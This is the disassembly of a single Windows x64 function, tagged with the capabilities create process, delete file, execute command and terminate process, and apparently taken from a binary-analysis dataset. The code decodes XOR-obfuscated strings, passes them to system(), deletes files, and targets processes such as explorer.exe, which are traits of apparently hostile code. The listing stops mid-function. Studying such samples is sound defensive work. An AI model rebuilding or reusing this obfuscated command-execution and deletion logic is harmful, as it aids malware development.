Function at 0x14008a900
Capabilities:
Create process on windows
Delete file
Execute command
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x1030
call fcn.14008e8c0
sub rsp, rax
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140100010]
xor rax, rsp
mov qword [rbp + 0xfb0], rax
movabs rdi, 0x2858655d229c8644
movabs rsi, 0x40f74a949c99377f
movabs r15, 0x1369fec6749a637
movabs r14, 0x901287b51d7c673c
movabs r13, 0xe49617aa074be2e9
movabs r12, 0xfb46d6234e78a526
cmp byte [0x1401014c1], 1
jne 0x14008afc0
lea rcx, [rbp + 0x488]
call fcn.14008bf40
lea rcx, [rbp + 0x488]
call fcn.140085530
nop
movabs rbx, 0x7351f09e37159c74
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xf95fe6c17c380a5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c8], rax
movabs rax, 0xb8e271c57424908a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d0], rax
movabs rax, 0xdb35a14c2a16cc71
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d8], rax
movabs rax, 0x1470617e27e9f52f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x322af027efea8ecc
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x4c4c6cbc14c93e34
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x3b25d2494ce91a9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x40ab2ff7eeec580c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x208], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6e0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6e8], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6f8], rax
movabs rax, 0x66150510428f906b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x700], rax
movabs rax, 0x7a7683498e89dd90
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x708], rax
movabs rax, 0x291e15ce7bbd4d5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x710], rax
movabs rax, 0x66e00157e0a2e4da
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x718], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x720], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x728], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x6e0]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x700]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x200]
vxorps xmm0, xmm0, xmmword [rbp + 0x720]
vmovdqa xmmword [rbp + 0x200], xmm0
lea rax, [rbp + 0x1c0]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x488]
vzeroupper
call fcn.14008bed0
mov qword [rbp + 0x18], rbx
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x160], rax
movabs rax, 0xdd4ee6c17c380a5d
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x168], rax
movabs rax, 0x90f078d968398180
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x170], rax
movabs rax, 0x8831b9472011f27a
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x178], rax
movabs rax, 0x3716b7524ead44b
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x180], rax
movabs rax, 0x2605ed28edda81e2
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x188], rax
movabs rax, 0x756767a10fce2415
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x190], rax
movabs rax, 0x3a85623e96d08189
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x198], rax
mov qword [rbp + 0x18], rsi
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x18], rdi
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x1a8], rax
mov qword [rbp + 0x18], r15
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x740], rax
mov qword [rbp + 0x18], r14
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x748], rax
mov qword [rbp + 0x18], r13
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x750], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x758], rax
movabs rax, 0x66150510428f906b
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x760], rax
movabs rax, 0x7a7683498e89dd90
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x768], rax
movabs rax, 0x291e15ce7bbd4d5d
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x770], rax
movabs rax, 0x66e00157e0a2e4da
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x778], rax
mov qword [rbp + 0x18], rsi
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x780], rax
mov qword [rbp + 0x18], rdi
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x788], rax
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x740]
vmovdqa ymmword [rbp + 0x160], ymm1
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x760]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1a0]
vxorps xmm0, xmm0, xmmword [rbp + 0x780]
vmovdqa xmmword [rbp + 0x1a0], xmm0
lea rax, [rbp + 0x160]
mov qword [rbp + 0x18], rax
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x488]
vzeroupper
call fcn.14008bed0
lea rcx, [rbp + 0x488]
call fcn.1400129c0
mov rdi, rax
lea rcx, [rbp + 0x488]
call fcn.14008bf80
mov rsi, rax
cmp rdi, rax
je 0x14008afb4
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x300]
call fcn.14008c300
nop
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x4b0]
call fcn.14008a4b0
nop
lea rcx, [rbp + 0x300]
call fcn.140011a30
lea rcx, [rbp + 0x430]
call fcn.140012b80
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x238]
call fcn.140015e20
mov rdx, rax
lea rcx, [rbp + 0x430]
call fcn.140012a10
nop
lea rcx, [rbp + 0x450]
call fcn.140012b80
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x248]
call fcn.140015e20
mov rdx, rax
lea rcx, [rbp + 0x450]
call fcn.140012a90
nop
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x430]
call fcn.140012a00
test al, al
je 0x14008af81
nop dword [rax]
lea rcx, [rbp + 0x430]
call fcn.1400129c0
mov rbx, rax
lea rcx, [rbp + 0x4a0]
call fcn.140012b80
lea rcx, [rbp + 0x4a0]
call fcn.140089f80
mov rcx, rbx
call fcn.140012460
mov rbx, rax
lea rdx, [rbp + 0x3a0]
mov rcx, rax
call fcn.1400116b0
nop
mov rdx, rax
lea rcx, [rbp + 0x320]
call fcn.14008c300
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x320]
call fcn.14008a530
lea rcx, [rbp + 0x320]
call fcn.140011a30
nop
lea rcx, [rbp + 0x3a0]
call fcn.140018830
lea rdx, [rbp + 0x380]
mov rcx, rbx
call fcn.1400116b0
nop
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.14008c300
nop
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x280]
call fcn.14008a780
nop
lea rcx, [rbp + 0x280]
call fcn.140011a30
nop
lea rcx, [rbp + 0x380]
call fcn.140018830
lea rcx, [rbp + 0x430]
call fcn.14008a500
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x430]
call fcn.140012a00
test al, al
jne 0x14008ae90
lea rcx, [rbp + 0x450]
call fcn.140012a40
nop
lea rcx, [rbp + 0x430]
call fcn.140012a40
nop
lea rcx, [rbp + 0x4b0]
call fcn.140012a40
add rdi, 0x20
cmp rdi, rsi
jne 0x14008ade0
lea rcx, [rbp + 0x488]
call fcn.1400854c0
cmp byte [0x1401014b0], 0
je 0x14008b08b
movabs rax, 0x665ff982082ad65e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0xf47af4c0711a481c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0xe49617aa074b9187
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x7c0]
vmovdqa ymmword [rbp + 0x140], ymm1
lea rcx, [rbp + 0x140]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x1401014e9], 1
jne 0x14008b39d
mov r8d, 0x104
lea rdx, [rbp + 0x880]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x880]
lea rcx, [rbp + 0x5a0]
call fcn.140018890
nop
lea rcx, [rbp + 0x5a0]
call fcn.14008c080
mov rbx, rax
lea rcx, [rbp + 0x5a0]
call fcn.14008c080
lea r8, [rax + 1]
mov r9, rbx
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x5a0]
call fcn.14008c020
nop
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x4d0]
call fcn.140018790
mov rdi, qword [rax]
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x4d0]
call fcn.140018770
mov rbx, qword [rax]
lea rdx, [rbp + 0x228]
lea rcx, [rbp + 0x4d0]
call fcn.140018790
mov rcx, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x230]
call fcn.14008c360
movabs rax, 0x6e52f18510159c54
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xf574e2c76d20144b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0xe49617aa5b23819d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x7a0]
vmovdqa ymmword [rbp + 0x100], ymm1
lea rax, [rbp + 0x100]
mov qword [rbp + 8], rax
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x2a0]
vzeroupper
call fcn.14008c3c0
nop
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x4c0]
call fcn.140012970
nop
lea rcx, [rbp + 0x2a0]
call fcn.140011a30
lea rcx, [rbp + 0x440]
call fcn.140012b80
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x258]
call fcn.140015e20
mov rdx, rax
lea rcx, [rbp + 0x440]
call fcn.140012a10
nop
lea rcx, [rbp + 0x460]
call fcn.140012b80
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x270]
call fcn.140015e20
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140012a90
nop
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x440]
call fcn.140012a00
test al, al
je 0x14008b35d
nop dword [rax]
lea rcx, [rbp + 0x440]
call fcn.1400129c0
mov rcx, rax
call fcn.140012460
mov rdi, rax
lea rdx, [rbp + 0x360]
mov rcx, rax
call fcn.1400116b0
lea rdx, [rbp + 0x4d0]
mov rcx, rax
call fcn.140089e90
mov rbx, rax
lea rcx, [rbp + 0x360]
call fcn.140018830
cmp rbx, 0xffffffffffffffff
je 0x14008b336
lea rdx, [rbp + 0x340]
mov rcx, rdi
call fcn.1400116b0
mov rcx, rax
call fcn.140018760
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp + 0x340]
call fcn.140018830
lea rcx, [rbp + 0x440]
call fcn.1400129d0
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x440]
call fcn.140012a00
test al, al
jne 0x14008b2c0
lea rcx, [rbp + 0x460]
call fcn.140012a40
nop
lea rcx, [rbp + 0x440]
call fcn.140012a40
nop
lea rcx, [rbp + 0x4c0]
call fcn.140012a40
nop
lea rcx, [rbp + 0x4d0]
call fcn.140018830
nop
lea rcx, [rbp + 0x5a0]
call fcn.140018830
cmp byte [0x1401015f5], 1
jne 0x14008b593
lea rcx, [rbp + 0x470]
call fcn.14008bf40
lea rcx, [rbp + 0x470]
call fcn.140085530
nop
movabs rax, 0x1369f99082dd363
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x620], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x628], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x620]
movdqa xmmword [rbp + 0x30], xmm0
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x2c0]
call fcn.140018890
nop
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x470]
call fcn.140017520
nop
lea rcx, [rbp + 0x2c0]
call fcn.140018830
movabs rax, 0x1369f99082dd343
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x640], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x648], rax
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp + 0x640]
movdqa xmmword [rbp + 0x40], xmm0
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x2e0]
call fcn.140018890
nop
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x470]
call fcn.140017520
nop
lea rcx, [rbp + 0x2e0]
call fcn.140018830
lea rcx, [rbp + 0x420]
call fcn.14007db70
lea rcx, str.explorer.exe
call fcn.1400276e0
mov dword [rbp + 0x20], eax
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x420]
call fcn.14008c420
nop
lea rcx, [rbp + 0x470]
call fcn.1400129c0
mov rbx, rax
lea rcx, [rbp + 0x470]
call fcn.14008bf80
mov rdi, rax
cmp rbx, rax
je 0x14008b565
lea rcx, [rbp + 0x420]
call fcn.1400129c0
mov rsi, rax
nop word [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0x600]
call fcn.1400188d0
nop
lea rdx, [rbp + 0x600]
mov rcx, rsi
call fcn.140089040
nop
lea rcx, [rbp + 0x600]
call fcn.140018830
add rbx, 0x20
cmp rbx, rdi
jne 0x14008b530
lea rcx, [rbp + 0x420]
call fcn.1400129c0
mov rcx, rax
call fcn.140089330
nop
lea rcx, [rbp + 0x420]
call fcn.14008bf50
nop
lea rcx, [rbp + 0x470]
call fcn.1400854c0
cmp byte [0x1401014c0], 1
jne 0x14008ba7e
mov r8d, 0x104
lea rdx, [rbp + 0x990]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0x580]
call fcn.140018890
nop
movabs rbx, 0x106b3890a20f21b
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x630], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x638], rax
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x630]
movdqa xmmword [rbp + 0x50], xmm0
movabs rax, 0x3106b3a92408f463
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xbc22b7852d50570c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x8af37ec6442a81b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x9432bf4d21358952
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0x156660732dfdc019
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x7a7683498e89ddbc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x660], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x668], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
movabs rsi, 0x66150510428f906b
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x680], rax
movabs rdi, 0x7a7683498e89dd90
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x688], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x660]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqa xmm0, xmmword [rbp + 0xa0]
vxorps xmm0, xmm0, xmmword [rbp + 0x680]
vmovdqa xmmword [rbp + 0xa0], xmm0
lea r8, [rbp + 0x580]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x3c0]
vzeroupper
call fcn.14008c4c0
nop
lea r8, [rbp + 0x50]
mov rdx, rax
lea rcx, [rbp + 0x5e0]
call fcn.14008c620
nop
lea rcx, [rbp + 0x3c0]
call fcn.140018830
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0x400]
movdqa xmmword [rbp + 0x60], xmm0
movabs rax, 0x3106afdc4b0ce576
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
movabs rax, 0xf342ab852d4c5710
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
movabs rax, 0xc8e279cf6e27a188
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
movabs rax, 0xab34b9572716ca6b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
movabs rax, 0x6639766327ecff19
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x6a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x6a8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x6b0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x6b8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x6c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x6c8], rax
vmovdqu ymm0, ymmword [rbp + 0x500]
vpxor ymm1, ymm0, ymmword [rbp + 0x6a0]
vmovdqa ymmword [rbp + 0x500], ymm1
vmovdqa xmm0, xmmword [rbp + 0x520]
vxorps xmm0, xmm0, xmmword [rbp + 0x6c0]
vmovdqa xmmword [rbp + 0x520], xmm0
lea r8, [rbp + 0x580]
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x3e0]
vzeroupper
call fcn.14008c4c0
nop
lea r8, [rbp + 0x60]
mov rdx, rax
lea rcx, [rbp + 0x5c0]
call fcn.14008c620
nop
lea rcx, [rbp + 0x3e0]
call fcn.140018830
lea rcx, [rbp + 0x428]
call fcn.14007db70
movabs rax, 0x15a9f9c6731a652
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0x906087d01d0e6753
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0xe4f317d2072ee2c7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x7e0]
vmovdqu ymmword [rbp + 0x120], ymm1
lea rcx, [rbp + 0x120]
vzeroupper
call fcn.1400276e0
mov dword [rbp + 0x24], eax
lea rdx, [rbp + 0x24]
lea rcx, [rbp + 0x428]
call fcn.14008c420
nop
lea rcx, [rbp + 0x428]
call fcn.1400129c0
mov rbx, rax
lea rdx, [rbp + 0x5e0]
mov rcx, rax
call fcn.140089040
lea rdx, [rbp + 0x5c0]
mov rcx, rbx
call fcn.140089040
lea rdx, [rbp + 0x580]
mov rcx, rbx
call fcn.140089040
mov rcx, rbx
call fcn.140089330
nop
lea rcx, [rbp + 0x428]
call fcn.14008bf50
nop
lea rcx, [rbp + 0x5c0]
call fcn.140018830
nop
lea rcx, [rbp + 0x5e0]
call fcn.140018830
nop
lea rcx, [rbp + 0x580]
call fcn.140018830
jmp 0x14008ba92
movabs rdi, 0x7a7683498e89dd90
movabs rsi, 0x66150510428f906b
call fcn.140001600
mov rcx, rax
call fcn.1400016e0
cmp byte [0x1401014d4], 1
jne 0x14008bec0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x500], xmm0
movups xmmword [rbp + 0x510], xmm0
movups xmmword [rbp + 0x520], xmm0
movups xmmword [rbp + 0x530], xmm0
movups xmmword [rbp + 0x540], xmm0
movups xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], rax
movups xmmword [rbp + 0x400], xmm0
mov qword [rbp + 0x410], rax
mov r8d, 0x104
lea rdx, [rbp + 0x990]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
movabs rax, 0x1189f886724a654
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x80], rax
movabs rax, 0x903287d01d046759
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x88], rax
movabs rax, 0xe4e6178a0708e2c6
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x90], rax
movabs rax, 0xfb66d6444e16a54f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x98], rax
movabs rax, 0x663b052142a1905a
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa0], rax
movabs rax, 0x7a5683788ea7dda1
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa8], rax
movabs rax, 0x292f15ee7bd34d70
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb0], rax
movabs rax, 0x66c00120e08fe4fa
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb8], rax
movabs rax, 0x40c74aa49ca9374c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc0], rax
movabs rax, 0x2816657d22a28664
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc8], rax
movabs rax, 0x39a08d12a4657164
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd0], rax
movabs rax, 0x53398ece8ae302ce
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd8], rax
movabs rax, 0xa026af5ef1b5a9d3
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xe0], rax
movabs rax, 0x58b6db51b8ef53b7
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xe8], rax
movabs rax, 0xce3e341421fa2b20
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf0], rax
movabs rcx, 0x28773d3fc2cce982
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x800], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x808], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x810], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x818], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x820], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x828], rax
movabs rax, 0x291e15ce7bbd4d5d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x830], rax
movabs rax, 0x66e00157e0a2e4da
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x838], rax
movabs rax, 0x40f74a949c99377f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x840], rax
movabs rax, 0x2858655d229c8644
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x848], rax
movabs rax, 0x39868d32a4097111
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x850], rax
movabs rax, 0x53558eab8aa702ee
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x858], rax
movabs rax, 0xa006af38f19aa9f3
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x860], rax
movabs rax, 0x5894db71b89e5398
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x868], rax
movabs rax, 0xce3e343621892b05
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x870], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x878], rax
vmovdqu ymm0, ymmword [rbp + 0x800]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x820]
vmovdqa ymmword [rbp + 0xa0], ymm1
